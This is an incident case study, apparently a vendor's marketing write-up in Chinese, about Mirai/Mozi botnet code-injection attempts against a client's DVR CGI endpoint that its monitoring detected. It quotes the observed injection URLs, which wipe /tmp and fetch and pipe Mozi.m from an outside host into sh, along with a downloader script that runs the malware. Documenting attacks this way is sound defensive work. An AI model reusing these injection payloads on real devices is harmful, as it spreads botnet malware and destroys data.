案例分享 - 某企業主機受外部攻擊者嘗試使用Code Injection攻擊下載惡意腳本並執行

- 4月 12, 2023

雲智維科技
Cloud Intelligent Operation, CIO

某企業主機受外部攻擊者嘗試使用Code Injection攻擊下載、執行惡意腳本

一、案例故事

某企業客戶於某日下午4點在內部主機遭受外部攻擊者進行Code Injection攻擊下載惡意腳本(shell script)，並嘗試於下載後執行腳本(shell script)，該腳本內含下載惡意程式並執行該程式，該企業藉由「雲智維資訊顧問代管代維方案」主動找出企業內部資安問題，成功預防資安事件擴大。

二、解決方案

使用「雲智維資訊顧問代管代維方案」，收集客戶單位中各種網路設備syslog、資安設備syslog、Flow及SNMP，從各式數據搭配AI即時分析，從中查找出重要的關鍵數據，找出客戶內部環境網路、資安問題所在。

該企業使用「雲智維資訊顧問代管代維方案」，從該企業所收集到的網路、資安設備數據發現到來源192.161.176.40【來源國家：US (美國)】、124.112.245.120【來源國家：CN (中華人民共和國)】透過Code Injection嘗試從惡意中繼站中下載腳本並執行該腳本。

數量	來源國家	來源國家	目的埠	URL
attacker "Mirai Botnet", hostname "[illegible]"	192.161.176.40	US (美國)	192.168.[illegible]	/dvr/cgi-bin/ping.cgi?ver=1&id=1&cmd=cd /tmp;rm -rf *;busybox wget -O - -c -t 5 -T 5 http://[illegible]/Mozi.m|sh
attacker "Mirai Botnet", hostname "[illegible]"	192.161.176.22	US (美國)	192.168.[illegible]	/dvr/cgi-bin/ping.cgi?ver=1&id=1&cmd=cd /tmp;rm -rf *;busybox wget -O - -c -t 5 -T 5 http://[illegible]/Mozi.m|sh
attacker "Mirai Botnet", hostname "[illegible]"	124.112.245.120	CN (中華人民共和國)	192.168.[illegible]	/dvr/cgi-bin/ping.cgi?ver=1&id=1&cmd=cd /tmp;rm -rf *;busybox wget -O - -c -t 5 -T 5 http://[illegible]/Mozi.m|sh
attacker "Mirai Botnet", hostname "[illegible]"	124.112.245.120	CN (中華人民共和國)	192.168.[illegible]	/dvr/cgi-bin/ping.cgi?ver=1&id=1&cmd=cd /tmp;rm -rf *;busybox wget -O - -c -t 5 -T 5 http://[illegible]/Mozi.m|sh

攻擊者嘗試下載、執行腳本

該腳本內含下載許多惡意檔案，並於下載後執行該惡意檔案。

```
#!/bin/busybox
cd /tmp [illegible] cd /var/run [illegible] cd /mnt [illegible] cd /root [illegible] cd /dev [illegible] cd /var/run [illegible] cd /mnt [illegible] cd /root [illegible] cd /dev [illegible]
http://[illegible].18.123.157/Mozi.m|chmod +x *|./Mozi.m|busybox chmod +x *|./Mozi.m|busybox chmod +x *|./Mozi.m
cd /var/run [illegible] cd /mnt [illegible] cd /root [illegible] cd /dev [illegible] cd /var/run [illegible] cd /mnt [illegible] cd /root [illegible] cd /dev [illegible]
http://[illegible].18.123.157/Mozi.m|
```